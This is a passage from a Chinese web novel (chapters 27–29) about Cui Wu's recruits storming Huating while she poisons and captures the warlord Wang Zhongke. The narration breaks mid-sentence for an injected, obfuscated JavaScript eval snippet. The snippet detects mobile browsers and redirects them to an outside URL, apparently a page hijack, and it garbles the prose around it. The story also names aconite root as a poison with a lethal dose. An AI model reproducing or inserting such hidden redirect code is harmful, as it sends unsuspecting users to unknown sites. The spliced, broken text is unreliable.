*** 与此同时,华亭城外。 天色向晚,夜幕降临,无尽的暗影足以遮掩一应行踪,即便是同时藏于林中的两拨人马,也未必能察觉对方行踪。 其中一拨自是崔芜带来的新兵营,另一拨亦是便衣打扮,却比潦草速成的新兵营精悍许多,汉子们手脚麻利行动轻便,不必主人吩咐就自行安排了岗哨戒严。 不多时,探查的斥候回来,向背手站在树影里的男人回禀:“往东六十丈,藏了一股商队,人数在二百上下。只是卑职瞧着,像是行伍之人假扮的。” 男人回过头,面孔隐在暗影里,只露出一双冷亮的眼。 “冲我们来的?” “不像。” “再探。” “是。” 27. 第二十七章 夺城 这一夜天气不大好,自傍晚起就浓云密布,虽然没下雨,却也远称不上晴朗。 这就意味着,夜空中无星无月,缺乏一切可供照明的光源。守城的兵丁点起火把,奈何亮度有限,视野远远不及白天,只勉强看清城下三五丈内的情形。 幸好自打华亭被王重珂据了后,城门成了摆设大于实际意义的存在——能跑的都跑了,平时鲜少有人进出,实在没什么可守。 夜长无聊,兵丁难免要给自己寻乐子,什么吃酒赌钱、嗑牙打屁,总之没一个干正事的。 赌钱便有输赢,有个面上带疤的兵丁输得狠了,起身打算尿遁:“你们等着,老子撒泡尿再来。” 其他人看穿他的心思,七手八脚地摁住:“撒什么尿!让你跑了,还会回来?” “还钱!连本带利一共一贯七百文!” 刀疤脸兵丁没辙,只能讨饶:“我真没钱了,且容我赊账,等下把赢了,我一定还。” 旁人却没那么好糊弄:“少扯谎!白日里拖那小娘们时,我都看到了,你把人家的银簪子顺进怀里,回头将军还赏了你五百钱!拿出来,不然扒了你裤子,吊旗杆上喝一夜西北风!” 刀疤脸被逼得没法,只得将赏钱和银簪掏出抵债,自己骂骂咧咧走了。他酒饮多了,凉风一吹,便想呕吐。刚扶墙弯下腰,一只手从后探来,猛地捂住嘴。冰冷刀锋抵住脖颈,只一下,鲜血就飙上了天。 刀疤眼眼珠险些瞪脱出来,奈何那一刀极狠,连血管带声带一并割断,想喊也喊不出声。 动脉破裂会造成短时间内的大量失血,不过几息间,人已休克,等待他的只有死亡。 延昭松开手,甩去满掌血珠,余温尚存的尸体滑落脚下,兀自睁着双眼。 延昭回头,发现那名叫岑明的亲兵瞄准了另一个落单的兵丁,几乎与他同时出手,亦是一刀封喉。两人目光对视,于无声间达成默契。 少顷,两具尸体被拖去暗角藏好,两人换上兵丁服色,若无其事地上了城楼。 底下的兵丁吃酒赌钱,上头的也好不到哪去,一边哈欠连天,一边有一搭没一搭地说着闲话。 眼看有人来了,又穿着自己人的衣服,便当是来换班的,心里还觉得奇怪:“这也没到换防的时辰,怎地来这么早?” 来人没说话,只是加快了脚步。 火把照明有限,城楼岗哨一开始没看清,但他终究是行伍出身,很快察觉不对:“等等,你不是……你他娘的到底是什么人!” 来人不退反进,在他扬声示警前冲到近前,手起刀落,将那声惊呼断在喉咙里。 岑明亦挥刀斩杀另一名岗哨,奈何城楼上总有六七人,没办法在一瞬间杀干净。最机灵的已然飞扑过去,抓起示警用的铜锣,就要大力敲响。 一股钻心的冷意却在这时没入咽喉,他惊恐地垂落眼皮,被下巴挡住视线,只看到一簇暴露在外的箭羽。 余势未衰,兀自颤动不休。 铜锣“当”一下落了地,除此之外未曾发出多余声响。底下的兵丁赌钱赌得热闹,谁也没察觉城楼上早已翻天覆地。 延昭料理完手边岗哨,走到近前蹲身查看。只见死去的岗哨手里抓着锣槌,喉间插着一根冷铁长矢,几乎射了个对穿。 他十分确定这一箭不是自己人射的,立刻起身环顾,试图从黑暗中寻找出射箭之人。然而夜色茫茫,放眼望去皆是混沌,哪里看得清? 岑明不知他所想,催促道:“愣着做什么?还不动手!” 延昭回过神,暂且放下心头疑虑,从怀里摸出火折,吹亮后晃了晃——那引火之物里掺了少量硫磺,火焰微微发蓝,于夜色中甚是醒目。 片刻后,树林里窜出一拨人马,将伐木绑成的云梯架上城楼,手脚并用地攀爬上去,一路如入无人之境。 须臾,城门内传出喊杀声,起得仓促,消失得也迅捷。 前后不过两刻钟,严防死守的城门从内洞开。剩下的百余新兵推着藏有武器的板车冲出密林,仿佛饿了数日的狼群,蜂拥杀进城中。 城门口的喊杀声尚未消散,数十丈外的密林中,秦萧收起强弓,随手丢给亲兵。 他身边站着颜适,嘴里叼着根草叶:“不进城?” “还不是时候,”秦萧低垂眼皮,手指摩挲腰间佩刀,“来人敌友未明,且由他们与王重珂交一回手,摸清虚实才好打交道。” 颜适:“敌友未明你多管什么闲事?由着城楼上那家伙敲锣示警,咱们渔翁得利不好吗?” 秦萧假装没听见。 他一开始确实没打算出手,只是在岗哨即将敲响铜锣之际,鬼使神差地掠过一个念头—— 这些人攻打华亭,背后有没有可能是“她”的授意? 这念头有些骇人,崔芜不过是个女子,哪来这么大的手笔,又如何能调动这许多精壮? 但秦萧仔细回想,同行一路,这女子时有异乎常人之举,连攻打萧关的铁勒大将都着了她的道。 盯上华亭,似乎也没那么匪夷所思? 正是那一瞬的直觉,促使秦萧出了手,此间幽微心绪,却是不足为外人道也。 “瞧着像是新兵,未必能和王重珂的人抗衡,”秦萧收起思绪,回头吩咐道,“整军,准备入城!” 颜适玩笑归玩笑,军令面前却毫不含糊,干脆答应了,自去准备。 *** 夺取城门并不难,因为守城兵丁大多是裹挟来的青壮,军纪和军事素养远远不如正规军,对上延昭与岑明这等杀神,一捏一个准。 但夺城门只是开始,他们真正的目的是收服华亭,不可避免要与王重珂麾下精锐对上。 那么姓王的精锐到底在哪? 当他们“清理”完外城,打算向内城进发时,答案终于揭晓——都被王重珂调到身边护卫自己。 这是真正的正规军,虽不敢说百战不殆,却是上过沙场、斩过人头。听说敌袭,第一反应不是无头苍蝇似地四散奔逃,而是点齐人马杀将过来。 这是因为战场交锋,武艺都在其次,凭的就是一股血性悍勇。唯有将敌人的这口气打碎了、杀散了,方能挣得赢面。 带头冲锋之人原是王重珂麾下副尉,骑术精湛,刀法也不俗。一阵冲杀,居然砍倒两名新兵,正要收割第三人,只听“当”一声响,刀锋被人架住,一股大力从刀身传至手腕,半条胳膊险些麻了。 副尉纵横陇州这些年,没遇到过这等硬茬,抬头对上延昭满含杀意的眼。 延昭是汉人与铁勒混血所生,眉眼轮廓较汉人深邃,乍一看更偏胡人。副尉猝不及防,还以为是胡人打进来了,心中一时惊骇莫名:“来将报名!” 延昭只回了他三个字。 “你,该死!” 刀光横扫,竟然突破副尉封锁,直逼颈项而来。副尉大骇,百忙中一缩脖子,那刀锋冷意贴着头皮掠过,竟将发髻生生劈落半截。 副尉情知不敌,拍马就跑。 延昭没有追,他勇武过人不假,但战场之上,个人勇武很重要,却也没那么重要。盖因冷兵器时代,决定小范围战争胜负的还是兵力人数与综合实力,如《三国演义》那般武将单挑,纯属艺术加工。 而论两军明面上的实力,很显然,还是王重珂麾下的正规军高出一筹。 无论个人武艺、实战经验,还是战阵配合的默契程度,老兵与新兵都有不小的差距,何况他们人数占优。 哪怕延昭武力值再高,也没法以一人之力独挡数十乃至上百人,勉强支撑了小半个时辰,终于调转马头:“撤!快撤!” 副尉方才险些被取了首级,心里憋了一股恶气,见状哪肯罢休:“贼子休走!” 拍马径直追上。 他盘踞华亭多年,对这里一砖一瓦都非常熟悉,知道这股“溃兵”奔逃的方向是一片民居。 可那又如何?偌大的华亭县城都是他们地盘,他手中有兵,兵力还远在对方之上,怕他们不成? 怀着这样的想法,副尉指挥着麾下亲兵,放心大胆地追进一条窄巷。 说是窄巷一点不为过,街道宽度有限,顶多能容下三骑并行。副尉追出去五六丈,心中忽生异样,奈何身后亲兵已经顶到马屁股,勒缰掉头显然不能够,只得继续往前。 就在这时,两侧屋顶传来异响,几个便装打扮的汉子不知何时埋伏其上,见追兵进来,将裹在包袱里的东西兜头抖下。 雪白粉末攘了漫天,居然是石灰粉。 古人对石灰的应用并不罕见,早在龙山时期就有记载,石灰的炼制之法也不难,将碳酸钙含量高的原料,如石灰岩、白云岩高温煅烧去除杂质,将其分解为氧化钙和二氧化碳,其中的氧化钙就是生石灰。(1) 当然,若想用于建造房屋,还需将生石灰与水反应,生成氢氧化钙,也就是俗称的熟石灰。但此处是战场,并非建筑工地,生石灰已经足够应付。 好巧不巧地,石灰扬落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553320|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的刹那,听到动静的副尉正好仰头看,时间配合毫无间隙,被白粉攘了个正着。 缺了大德了! 那滋味绝不好受,副尉惨叫一声,滚落马背。 石灰不仅能迷人眼,对战马同样是致命的。一时间,窄巷之内马嘶连连,马蹄子不安地顿着地,任凭主人如何呼喝都不肯往前。 副尉心知中了算计,双目不能视物,却不影响发号施令:“快退!退出去!” 不必他重复,已然有人拨转马头,往看似安全的来路飞奔而去。熟料临近巷口时,灰土掩埋的道路上凭空弹出一根绊马索,连人带马绊了个正着。 一匹战马总有四五百斤的分量,突然绊跤跌倒,前蹄不可避免地承受了所囿力道。更要命的是,战马速度远胜牛羊,正是因为四腿细长,减少空气阻力的同时也增强了机动性。 但是当数百斤的力道施加在单独一根细腿时,结果可想而知。 战马庞大的身躯倒在地上,背上战将亦滚落在地。没等他爬起身,巷口飞来数支箭矢,虽有几支没射准,最后一支却当当正正地没入胸口。 他只来得及嘶声喊了句:“有埋伏!” 就口角含血地倒在尘埃中。 副尉听得分明,知道这伙来敌远比表现出的棘手。眼下无非进退两种选择,既是巷口设了埋伏,那引他们进来的多半只是虚晃一枪,不足为虑。 他下定决断,高声道:“继续往前!先宰了这伙贼子,再去找其他人算账!” 他的部下也是如此想,前有石灰迷眼,后有马索绊跤,索性舍了马匹,拔出腰刀,步行往窄巷深处摸去。 这一道说远不远,也就二十来丈距离,说近却也不近,尤其兵丁们须得时刻绷紧心弦,唯恐一个错眼,敌人便从天而降杀他们一个措手不及。 谁知这一路出奇顺当,再未遇到奇袭。眼看出口近在眼前,远处隐有火光闪烁,不知是闻讯赶来的援兵还是民房烛火。 当他们冲出窄巷的一刻,答案揭晓——墙外原是一片空地,本该黑灯瞎火,却因点起火把而亮如白昼,蓝底黑边的士兵等候多时,在敌军现出身形的第一时间,吹响了迎战的号角。 “——列队!” 延昭一声令下,新兵们犹如校场操练,排出早已形成肌肉记忆的阵型。副尉好容易睁开的眼里写满错愕,只见眼前的敌军十一人为一队,最前排之人发号施令,俨然是一队之首。身后两人手执盾牌,掩护后队前进。 再次两人手握毛竹,末端削得尖锐,且绑有许多利刺,单竹身便有一丈来长,扫荡过去足能干翻一片。 至于再次的长枪手和短刀手,自不必说,是配合手持毛竹者进攻以及回援警戒的。 副尉久在军中,见识过不少战阵,长短配合、掩护冲锋的道理不是不懂,却还是头一回见识这么新奇的战阵,如此奇葩的兵刃。 刹那间,他心里油然生出一个念头:这帮人有备而来,是硬茬! 念头没转完,延昭已经下达第二道指令:“杀!” 排出新奇战阵的敌军发出短促有力的呼喝,队首令旗挥舞,所有人匀速冲锋。 *** 华亭毕竟是王重珂的地盘,战事乍起之际,便有人快马奔至县衙,欲向自家将军禀报军情。 然而飞骑堪堪冲过路口时,墙头突然跃下一人,正落在骑士身后。握刀的手极利落地一抹,骑士喉头冒血,抽搐着栽落马背。 岑明勒住马缰,一连串动作极快极轻巧,且隐于暗处,甚至没惊动县衙门口值勤的卫兵。 当然,也是因为县衙内隐隐传出的丝竹声,遮盖了一切不能被人察觉的异响。 岑明与另一处墙头的赵行简对视一眼,眼底隐有担忧。 他们担忧的对象,如今正在县衙后堂改的厅阁内,足尖点地飞身旋转,轻薄舞衣和着丝竹旋律,幻出一片绯丽华光。 无数双贪婪的眼睛锁定了飞旋的舞者,瞳孔中倒映出的是歌姬、是舞伎、是精巧而可供赏玩的“珍贵货物”,是摆布不需要过问其意愿的“玩意儿”。 王重珂大笑起来,抱着酒壶走出案后,摇摇晃晃地上前:“跳得好……跳得真好!来,美人,本将军陪你跳一个!咱们跳一个……唔!” 他调情的话没说完,忽而变了脸色,眼前身影无端化出五六道重影,直至天旋地转。 “噗通”一声,酒壶摔在地上,泼了满地。 男人高大的身影亦扑倒在酒水中,脸色煞白。 28. 第二十八章 斩首 倒下的不止王重珂,厅里的兵将有一个算一个,都感到头晕眼花、呼吸困难,有的甚至恶心呕吐。 与此同时,体力从四肢流逝,纵然想开口呼救,身体的乏力感也让他们无法大声高呼。 都是经历过生死的悍将,到了这份上,再不聪明的也该反应过来,是被人暗算了。 “是你……”王重珂目眦欲裂,挣扎着想爬起身,奈何手脚不听使唤,爬到一半就跌了回去。 他只能吃力地抬起头,用充血的眼睛瞪着唯一还能站立的人:“是你……下了毒!” 被他盯住的人一言不发,站在那儿像一尊精美的玉雕,居高投下的视线却比玉坚、比霜冷,洗去了旋舞时的妩媚,叫人心口发凉。 她越是沉默,王重珂就越发断定,是她在饮食……或者酒水中做了手脚。 但问题是,这女人一举一动都在所有人的注视下,她到底是怎么做到的? “古装剧看多了还是有好处的,”良久,崔芜终于开口,第一句话就让王重珂摸不着头脑,“至少,能给人提供不少可用的思路。” 她低头看着自己的手,那只右手纤细白皙,虽然经过长途跋涉中的生计磋磨,有些煞风景的粗糙,却不影响整体美感。 为着便于看诊干活,她故意没将指甲留长,只除了双手拇指。 寸许长的丹蔻染得嫣红,娇艳妩媚,甚是好看。 而就在片刻前,这根嫣红的指甲里填满炮制过的药粉,借着敬酒的机会,悄无声息地渗入酒水。 药粉来自于铁棒锤,这是一种药草,有治跌打损伤、风湿腰痛的效用,草株开紫色或者黄绿色的小花,很是可爱。 不过自然界中,越是外表可爱的花朵,越是不可貌相,铁棒锤也不例外。其块根有剧毒,具体成分是□□,常人口服二到五毫克即致死。(1) 这玩意儿不难寻,萧关城外的六盘山里就有,古时名陇山。崔芜问了见过此物的老军医,又托了当地农人,花了两三天功夫,好不容易寻了来。 如此大费周章,方才促成今晚的“斩首”行动。 “你到底是什么人?”王重珂恨得眼睛滴血,却只当崔芜是自己仇家派来的,并未将这小小女子放在眼里,“你主子是谁?狄斐,还是那姓杨的?我跟他们井水不犯河水,他们竟敢暗算……啊!” 他蓦地发出惨叫,却是连叫都没叫出来,就被崔芜眼疾手快地堵住嘴。 她拔出匕首,刃尖带起丝缕血痕,不过一眨眼,王重珂那只揩过油水的右手,已经干干脆脆地离开手腕。 他痛怒交迸,几乎呕出血来:“贱人!我要斩断你四肢,再拖出去喂狗!” 崔芜踹了他一脚,让那张吐不出象牙的嘴怼着青石板,想开口也只能发出含糊不清的“呜呜”声。 厅里的丝竹声还在响,奏乐的皆是女子,清一色容颜姣好,衣衫却是单薄裸露,一看便知是被掳来的。她们受折磨许久,人已有些麻木,眼见厅中生出变故,却因王重珂未曾开口喊停,竟是谁也不敢住了演奏。 倒是好巧不巧地,替崔芜掩去了厅中异动。 但在座皆是武将,哪有受制于人却不反击的道理?眼看崔芜注意力都在王重珂身上,有中毒较轻的,不动声色地积攒半天力气,此时逮到机会,立刻强撑起身,拔腿就往门口跑:“来人,有刺客!来……” 话音未落,劲风从背后袭来,掷出的匕首钉入左侧肩胛骨下方,直接洞穿了心脏。 那人一句话没说完,人已向前扑倒,手掌拍住门板,留下个狰狞的血印。 他的垂死挣扎并非无用功,至少惊动了厅外守卫。此二人是不久前提拔上来的,不过短短半月,拖出去的尸首少说有二十来具,深知里头这位是稍不顺心就动刀杀人的主,心中畏惧得很,因此不敢大声惊扰,只隔着门板低声询问:“将军,可是有事吩咐?” 里头的丝竹声依依响着,许久没人答话。 一门之隔,崔芜心念电转——她不是没看到守卫敲门后,一干军将放光的眼神。他们身中不知名的毒物,又有血淋淋的尸首在前,心知逃跑是不能够,唯一的生路就是外头守卫发觉不对,自己进来查看。 但崔芜如何能让他们称心如意? “都过来帮忙!”她转向弹曲的女人们,“不想死的,就过来帮把手!” 女人们目光呆滞,没人应她。 敲门声还在继续,守卫的询问一声比一声急迫。崔芜心知自己不可能在一瞬间同时放倒两个精悍男人,必须争取帮手。 她不再犹豫,拖起低头抚琴的女子,将她生生拽到王重珂面前。 “仔细看着这个人,认清他的脸,记住他曾对你做过什么!”崔芜厉声低斥,“你以为低头闭眼,就能当自己是个瞎子聋子,什么都听不见,也什么都看不见?我告诉你,不可能!这个人就在这里,哪怕你闭眼塞耳,也无法阻止他对你们欺辱凌虐,反而会让更多的无辜女子因此遭难!” “你愤恨,却无处发泄。你恐惧,却无人相救。你每日每夜对着这张令人憎恶的脸,忍受他施加在你们身上的侮辱,连夜晚噩梦都逃不开他的影子,就没想过寻个法子,彻底终结这种痛苦?” “你不会,我告诉你怎么做!你不敢,我手把手教给你!他欺辱了你们,你就把他对你们做的,十倍百倍报偿到他身上!” “让禽兽不如的东西,得到他应有的下场!” 厅里的丝竹声不知不觉停了,被崔芜摁低头的女子怔怔良久,慢慢站直身,僵木的眼神凝聚起一丝神采。 她猛地扑过去,张口咬住王重珂肩膀,用力之凶狠,像是要从他身上撕一块肉下来。 *** 守卫谨慎地叩了十来下,听着屋里丝竹声住了,自家将军却半晌没吩咐,心知事有蹊跷。 他不敢再耽搁,抡起刀鞘用力撞门,谁知没砸两下,门板却自己开了。守卫收不住力,险些一头栽进去,幸而他下盘扎实,好容易稳住身形,无数双手却毫无预兆地探出,揪住衣领将人拖了进去。 那些手细白柔软,虽有劳作磨出的粗茧,却一看便知是女子之手。原本并不被武将放在心上,十余只拧在一起,爆发出的力量竟是异乎寻常的强大,仿佛从地狱中延伸出的雪白藤蔓,锁定了猎物,叫人避不开也挣不脱。 两个守卫俱是孔武有力之辈,竟被这些女人硬生生拖进去。不待挣扎,又是七八双手纠缠上来,死死捂住两人口鼻。 与此同时,只听“吱呀“一声,门板在两人身后重新合拢,上了门栓。 守卫不甘就擒,奋力挣扎,武人的力量到底不凡,将纠缠身上的女人接二连三甩开。然而平日里温驯静默,连大气都不敢多出一口的女人们好似吃错了药,被甩开就再扑上去,哪怕头破血流也要拉一个垫背。 守卫左右胳膊上各缠了两三双手,他本可以轻易挣脱,却被倒了一地的精壮汉子吸引注意,脑中不可避免地掠过一个念头。 什么情况? 将军和各位校尉,这是……中招了? 谁干的?华亭还守得住吗? 这一瞬的分神让他动作迟疑了,后果却是致命的。他只觉胸口一凉,竟是被匕首洞穿了左肋。 失血带走了力气和敏捷,他脑中出现一瞬的空白,难以置信地低下头,就见刀锋拔出,又再次以迅雷不及掩耳的速度刺入。 第一刀瞄准了肝脏,第二刀直逼心脏,落刀精准,毫无迟疑。 女人们终于松开手,看守高大的身影倒在地上,咽气前的最后一个意识,是瞥见同伴同样倒在血泊中。 动手的是崔芜,这不是她第一次杀人,出手比之前更利落也更干脆。她胡乱抹去溅上面颊的鲜血,抬腿将尸首踢到一边:“做得很好。” 拖人进屋的女人们好似才回过神,拼着一口气的血性消退,涌上心口的是一股后怕与不敢置信。 我居然杀了人? 然而,当她们转动眼珠,看向横在地上的两具尸首时,意识回笼,又生出一个隐蔽的念头。 原来,这些人也是能被杀死的。 原来,我也可以凭自己的双手,让欺辱我、凌虐我,不拿我当人看的畜牲付出代价! 崔芜知道,从“良民”到“杀人者”,哪怕身处人命如草芥的乱世,完成个中心理转换也不是件容易的事。但她没时间给女人们做心理疏导,因为城中战事已起,而她要做的事还没做完。 她掉头奔到王重珂身边,扯下这人腰带,将他双手结结实实地绑缚住。 王重珂目睹了她杀人的全过程,心知这不再是投机取巧的下毒暗算,而是真真正正地正面肉搏。 他虽久经沙场,自以为无所畏惧,却还是被崔芜出手的毒辣和精准惊了一跳。 “你逃不掉的,”他咬牙道,“这县衙内外都是我的人,城中还有三四百驻兵,你就是插翅也难飞!” 又对那班女子怒吼:“你们跟着她作乱,只有死路一条!等我腾出手,非活剐了你们不可!” 女人们安静地看着他,不说话也不动弹。王重珂一 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尤其这一晚,王重珂将所有校尉叫进县衙,说是新得了个美人,要让他们开开眼。亲卫们都知道姓王的德行,谁也不敢在他饮酒作乐时扫了兴致,除了安排两人守着门口,其他一应躲去前院,也开了一席喝酒赌钱。 但凡中间哪一个环节未曾疏漏,崔芜今晚行事都不会如此顺利,可所有漏洞偏偏撞在一起。 只能说,王重珂气数已尽,非人力可以挽回。 当晚临近三更,前院的亲卫正喝酒喝得高兴,忽听马蹄声不带喘气地闯进县衙,紧接着便是声嘶力竭的哀鸣。 亲卫成日里与战马打交道,听着动静不对,忙奔出茶房,就见一人一骑倒在地上,后背露着一丛刺猬似的箭簇。 “敌、敌袭,”来人口角含血,气息微弱,“快去禀报……” 话没说完,他头一歪,就此咽了气。 亲卫悚然,侧耳细听,原本沉寂的夜色中仿佛藏有险恶的喊杀声,裹挟在夜风中,针一般扎着后脊。 “还他娘的愣着干什么!”队正怒吼,“快去禀报将……” 最后一个字音尚未脱口,不祥的红光照亮了夜空。所有人惊恐回头,只见火光冲天而起。 妖红噬夜,血色欲流。 “是后院!不好,将军还在里头!” “走水了!快、快救火!” *** 华亭县城说小不小,王重珂的数百亲兵分散其中,就如泥沙入海,听不到个响。 说大却也不大,后院火光同风而起时,该瞧见的都瞧见了。 彼时,副尉和延昭率领的新兵正杀作一团僵持不下。一边是行伍多年手辣心黑,另一边却有新式战阵襄助。只是头一回上战场,手脚放不开,心里也有些畏怯,以至于战阵的威力只能发挥十之二三。 饶是如此,也让副尉吃足了苦头。 毛竹在前开路,一丈五六的长度隔开距离,令敌人无法挨近,也让新兵减少了畏惧。竹竿横扫,往往于猝不及防间扫倒敌人,即便有漏网之鱼,手持长枪的同伴也能及时补位,将敌人刺死戳伤。 副尉不是没想过从侧翼突袭,可当他这么做时,手持短刀和蒺藜棒的士兵突然跳出,不由分说就是一通砍杀。己方非但没占到便宜,反而因此损失了好几人。 若非这帮不明来路的敌人新手上阵,配合不够默契,副尉怕是已经抵挡不住。 “还愣着干什么?去禀报将军,把弓弩队调来!” 副尉咬牙,这是他压箱底的本钱,本是留着对付姓杨的伪王的,没想到伪王还没找上门,先被一帮泥腿子新手逼到绝境。 “还不快去!” 传令兵答应一声,就要撤出战场。然而他刚一转身,抬头见东边夜空红光闪烁,好似被谁砍了一刀,流了漫天鲜血。 “将军,快看!” 副尉闻声转头,亦是惊了一跳。那红光灼烈而不祥,分明是哪里着了大火! 下一瞬,传令兵的惊呼打碎了最后一点希望。 “是县衙方向!” 副尉出了一身冷汗,却知不能自乱阵脚,胡乱安慰自己:“不、不会的,县衙有将军作战,不会有事……说不准、说不准只是意外!” 战团一侧却传来哈哈大笑,声如洪雷,响彻战场:“瞧见那边的火光没?我军主力已然拿下华亭县衙,你们的王将军,现在已成了阶下之囚!” “尔等立刻弃械,或许还能留得一条性命!再负隅顽抗,便与那姓王的一样,身首异处!” 29. 第二十九章 重逢 在出发前,崔芜曾做过全盘推演,该如何击败一支守城军队。 夺取城门、攻入城中只是第一步,因为王重珂的精锐十有八九集中城里,而内城民房颇多,不便跑马,反而是展开巷战的绝佳地点。 所以她借鉴了某戚姓大神的鸳鸯阵,以长短兵器配合,弥补新兵战力与经验都不及老兵的弱点。 但这还不够,新兵毕竟是新兵,仅操练半个月的战阵也未必能运用纯熟。能与对方形成僵持,一时半会儿不落下风,已经是最好的结果。 要彻底击溃王重珂的精锐,她还需要一样克敌制胜的法宝,就像高手过招时的必杀绝技,一刃封喉。 还有什么比擒贼擒王更简单、更有效,更能在短时间内击溃军心,打碎斗志? 正因如此,崔芜把最难的一部分留给自己,利用王重珂好色的弱点,接近他身边伺机下手。 计划想得很周全,但终究只是“计划”。到了执行环节,可能的变数实在太多,差之毫厘就是谬以千里。 是以,定计的崔芜也好,负责执行的丁钰和延昭也罢,谁都没想到,这一趟居然如此顺利,轻而易举便达成了所有的战略目标。 就好像,冥冥中有股看不见的气运,加持在崔芜身上一样。 所谓机不可失时不再来,趁着大火乍起、守城军斗志动荡的一刻,丁钰掏出一早准备好的“铜吼”——其实就是两个黄铜铸的漏斗,一个稍大,一个略小,焊接在一起,构成简易版的喇叭。 借着这玩意儿,丁钰成功让自己的吼声响彻战场:“王重珂已就擒,即刻投降,缴械不杀!” 延昭抓战机的直觉堪称翘楚,紧跟着怒吼:“即刻投降,缴械不杀!” 身后士兵跟随主将,放开嗓子山呼海啸:“即刻投降,缴械不杀!” “即刻投降,缴械不杀!” “即刻投降,缴械不杀!” 守城军被扑面而来的滚滚声浪震得心惊胆战,一会儿担心县衙老窝被人抄了,一会儿又唯恐眼前敌军只是先头部队,更厉害的精锐还在后面。 心神散了,斗志亦跟着溃散,被新兵一阵猛攻,竟是节节败退,只有招架之功而无还手之力。 副尉看得分明,心知若不重振士气,只有一败涂地的份,视线环顾战场,忽而锁定一人。 他倏尔抬手,腕上居然扣着一支□□,弩箭去如流星,竟是瞄准了丁钰。 丁钰:“……” 柿子捡软的捏是吧! 其实也不能怪人家副尉,实在是丁六郎君那一嗓子惊天动地,将自己树成了行走的标杆。副尉有心折敌方一员大将,盯上他也很正常。 那一箭太快太突然,留给丁钰的时间只够骂一句娘。他想躲闪,身体却没那么快的反应速度,只能眼睁睁看着泛着冷光的箭头逼近自己。 电光火石间,斜刺里窜过一道流光,后发而先至,极精准地撞中弩箭。 弩箭断成两截,掉落在地,丁钰活像被谁掐住的喉咙滑动了下,艰难地喘过了气。 只这么一缓,已足够延昭揪着他衣领拖回身后。丁钰侥幸捡回一条命,忽地心生异感,着了魔似地勾着脖子,目光越过千重夜色,与不远处民居屋顶上的一人相对。 那人挑起半边长眉,俏皮又挑衅地扬了扬下巴,居然是当初党项营地中有过一面之缘的少年将军颜适。 丁钰后背冷汗未消,心却定了,并指眉心,远远打了个不伦不类的招呼。 计划进展顺利,并不意味着崔芜就此脱险。因为华亭城内房屋栉比,街巷亦是错综复杂,更兼守军溃散,只顾没头苍蝇似地逃窜,清理起来反而多花时间。 这就意味着,一时半会儿,没人能腾出手援助崔芜,她只能靠自己。 好在,针对这种情况,崔芜也做了准备。 她之所以在县衙之中放火,一是为了动摇守军军心,二却是为了制造混乱,方便脱身。火势乍起时,她简单收拾干净身上血迹,混在一众歌女中间,架着个半昏不醒的王重珂,一路往外跑。 边跑还边喊:“走水了,快救火!” “将军喝醉了,咱们姐妹拼死将他抢出来,可还有好些大人陷在里头,军爷们快去救人!” 那王重珂本就中了毒,崔芜唯恐药力不够,又硬掰开他的嘴,将一大坛烈酒灌下。两下里凑一起,姓王的进气少出气多,被女人们摆布着,竟是毫无挣扎之力。 随后的事证明,崔芜的判断是正确的。她们一路上撞见几拨救火的兵丁,不是没人拦下她们盘问,只是瞧见女人们架着的王重珂,不假思索就轻信了,还好心指点她们前院位置,以便将人扶去歇息。 待人走远,崔芜立刻转了脸色:“不去前院,最近的角门在哪?” 王重珂是中毒而非醉酒,脸色和唇色白中泛紫。这一路光线昏暗,还能稍作掩饰,一旦去了前院,灯火通明,很容易瞧出不对。 是以,崔芜的计划是借着大火引发的混乱,拖了王重珂当挡箭牌,大模大样地逃出县衙,先寻个安全僻静的角落藏起来,等延昭那边控制住县城再做打算。 计划确实具有可行性,但再靠谱的计划也难免遇上意外。这一晚,崔芜的好运气终于用到头,眼看快到角门,迎面却撞上一队提着水桶的兵丁。 领头之人见了她们,当即斥道:“你们是什么人?要去哪!” 崔芜故技重施地答了,领头的队正却未曾放行,眼珠只盯在人事不省的王重珂身上。 他虽归在王重珂麾下,与这位上峰却不大对付,盖因他投靠的那位校尉得罪过王重珂,两人不睦已久。 这就导致底下军汉也颇不受待见,苦活脏活没少干,到头来却连升官发财的边都摸不着。 凭什么? 队正一双眼从王重珂身上掠过,算盘打得噼啪响。 如今后院失火,县衙混乱,若是有二三宵小闯进县衙,顺手把他们王将军咔嚓了,也是情理之中吧? 再不济,还有这帮女人,借口她们不堪虐待怀恨在心,随便拖两个出来背黑锅,也不是什么难事。 到时队伍掌握在自己手里,老子就是县城二把手,吃香的喝辣的,不比给人当孙子快活? 他根本不给崔芜分说的机会,摆手道:“都抓起来!” 崔芜再次领教到何为乱世,在这个世道,规矩是浮云,言辞如狗屁,没有强权傍身,连只猫狗都不如,根本不会有人听你开口。 她情知对方敢动手,便是不把王重珂的死活放在心上,于是将手中人质往前一推,恰好拦住兵丁去路。 与此同时,她嘴里也不闲着,就一个字:“跑!” 从动手杀守卫开始,女人们就习惯了听从崔芜号令,闻言想也不想,转身撒丫子狂奔。然而她们被王重珂凌虐多日,早已不成人样,没跑多远就如老鹰捉小鸡似的,被兵丁一手一个揪了回来。 崔芜是跑得最远的一个,这些日子的体能特训没白费,她一口气跑出去五六丈开外,已经摸到角门门槛。 只要冲出去,就是生路。 这时,身后却传来女人惊恐的尖叫,还有刀锋出鞘时的尖锐呼应声。 有一两条漏网之鱼不要紧,反正这里还有这么多替罪羊,随便宰一两个,不费吹灰之力。 崔芜心知,这些兵丁从来将人命当草芥,杀人时不会手软。她也明白,就自己这小身板,能逃得性命已是万幸,回去了也改变不了什么。 理智冲着崔芜大叫“快跑”,身体却不受控制地折返回来。 理由很简单,她自南向北、又由西而东地兜了个大圈,又闹腾出这么多动静,图什么? 不就是为了护住自己,还有身边的人吗? 旁的也就罢了,这些手无缚鸡之力的弱女子,是被她一番话忽悠得入了局。若是连她们都护不住,她还谈何改变天下? 她又有什么脸面,指着江东孙氏和晋帝的鼻子骂出那句“不干人事”? 这番思绪不足为外人道,却左右了崔芜的行动。她抢在兵丁刀锋斩落前,及时开口:“住手!” 